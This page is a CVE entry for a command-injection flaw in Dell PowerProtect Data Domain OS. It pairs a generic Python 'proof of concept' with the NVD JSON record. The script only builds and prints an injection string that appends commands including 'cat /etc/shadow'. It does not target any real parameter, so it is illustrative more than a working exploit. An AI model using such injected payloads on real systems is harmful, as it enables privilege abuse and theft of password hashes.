CVE-2025-43906

# CVE-2025-43906 - Dell PowerProtect Data Domain OS Command Injection PoC # Note: This vulnerability requires local access with high privileges # The attacker must already have authenticated access to the DD OS system #!/usr/bin/env python3 """ Proof of Concept for CVE-2025-43906 Dell PowerProtect Data Domain DD OS Command Injection Requires: Local access with high privilege account (e.g., admin or sysadmin) """ import subprocess import sys # Example: Injecting OS commands through vulnerable input parameters # In a real scenario, the vulnerable parameter would be identified through # fuzzing or code review of DD OS command-line interfaces or management scripts def exploit_dd_os_command_injection(target_input): """ Simulates command injection through a vulnerable DD OS parameter. The vulnerable code may pass user input directly to os.system() or subprocess without proper sanitization. """ # Vulnerable pattern (for illustration only): # os.system("ddadmin command " + user_input) # Malicious payload example - injecting additional commands malicious_payload = target_input + "; id; cat /etc/shadow; whoami" print(f"[*] Sending payload: {malicious_payload}") print(f"[*] If vulnerable, commands after ';' will execute with root privileges") # In actual exploitation, this would interact with the DD OS CLI or API # Example CLI commands that may be vulnerable: # - filesys create # - adminaccess # - net config # - Other administrative commands accepting string parameters return malicious_payload if __name__ == "__main__": if len(sys.argv) > 1: payload = sys.argv[1] else: payload = "normal_input" result = exploit_dd_os_command_injection(payload) print(f"[*] Exploit payload ready: {result}")

{"cve": {"id": "CVE-2025-43906", "sourceIdentifier": "[email protected]", "published": "2025-10-07T18:15:59.687", "lastModified": "2025-10-14T20:12:18.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary command execution. Exploitation may allow privilege escalation to root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.1.0", "versionEndExcluding": "7.10.1.70", "matchCriteriaId": "7FCE50EA-F2B8-4455-A489-1947B0CBFEEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.13.1.0", "versionEndExcluding": "7.13.1.40", "matchCriteriaId": "C0EA46C5-6776-411A-8FBC-5B32BC216888"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0.0", "versionEndIncluding": "8.3.0.15", "matchCriteriaId": "F1DB489A-E2CF-4477-A08B-101B569A714E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.1.0", "versionEndExcluding": "8.3.1.10", "matchCriteriaId": "9E0743E3-14E7-4FF9-88C5-E038D62F2344"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000376224/dsa-2025-333-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}